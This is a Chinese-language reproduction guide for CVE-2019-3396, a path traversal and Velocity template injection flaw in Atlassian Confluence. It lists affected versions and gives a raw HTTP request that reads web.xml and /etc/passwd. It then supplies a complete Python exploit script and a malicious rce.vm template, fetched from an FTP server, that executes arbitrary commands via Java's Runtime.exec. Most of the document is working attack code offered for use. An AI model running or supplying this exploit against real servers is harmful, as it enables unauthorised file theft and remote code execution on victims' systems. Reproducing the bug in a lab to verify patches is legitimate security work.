（CVE-2019-3396）Confluence 路径穿越与命令执行漏洞

一、漏洞简介

Atlassian Confluence是企业广泛使用的wiki系统，其6.14.2版本前存在一处未授权的目录穿越漏洞，通过该漏洞，攻击者可以读取任意文件，或利用Velocity模板注入执行任意命令。

二、漏洞影响

Confluence 1.*.*、2.*.*、3.*.*、4.*.*、5.*.*

Confluence 6.0.*、6.1.*、6.2.*、6.3.*、6.4.*、6.5.*

Confluence 6.6.* < 6.6.12

Confluence6.7.*、6.8.*、6.9.*、6.10.*、6.11.*

Confluence 6.12.* < 6.12.3

Confluence 6.13.* < 6.13.3

Confluence 6.14.* < 6.14.2

三、复现过程

发送如下数据包，即可读取文件web.xml：

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

6.12以前的Confluence没有限制文件读取的协议和路径，我们可以使用file:///etc/passwd来读取文件，也可以通过https://...来加载远程文件。

该文件是一个Velocity模板，我们可以通过模板注入（SSTI）来执行任意命令：

poc

首先需要一台外网的服务器

1.使用FTP加载vm文件  
2.修改filename为自己的vm文件路径，例如 filename = "ftp://192.168.50.181/rce.vm"  
3.python CVE-2019-3396.py [http://ip:port](http://ip) "whoami"

CVE-2019-3396.py

# -*- coding: utf-8 -*-
import re
import sys
import requests

def _read(url):
    result = {}
    # filename = "../web.xml"
    filename = 'file:////etc/group'

    paylaod = url + "/rest/tinymce/1/macro/preview"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
        "Referer": url + "/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
        "Content-Type": "application/json; charset=utf-8"
    }
    data = '{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"%s"}}}' % filename
    r = requests.post(paylaod, data=data, headers=headers)
    # print r.content
    if r.status_code == 200 and "wiki-content" in r.text:
        m = re.findall('.*wiki-content">n(.*)n            </div>n', r.text, re.S)

    return m[0]

def _exec(url,cmd):
    result = {}
    filename = "ftp://192.168.50.181/rce.vm"

    paylaod = url + "/rest/tinymce/1/macro/preview"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
        "Referer": url + "/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
        "Content-Type": "application/json; charset=utf-8"
    }
    data = '{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"http://www.dailymotion.com/video/xcpa64","width":"300","height":"200","_template":"%s","cmd":"%s"}}}' % (filename,cmd)
    r = requests.post(paylaod, data=data, headers=headers)
    # print r.content
    if r.status_code == 200 and "wiki-content" in r.text:
        m = re.findall('.*wiki-content">n(.*)n            </div>n', r.text, re.S)

    return m[0]

if __name__ == '__main__':
    url = sys.argv[1]
    cmd = sys.argv[2]
    print _exec(url,cmd)

rce.vm

#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
    $scan.next()
#end

参考链接

https://vulhub.org/#/environments/confluence/CVE-2019-3396/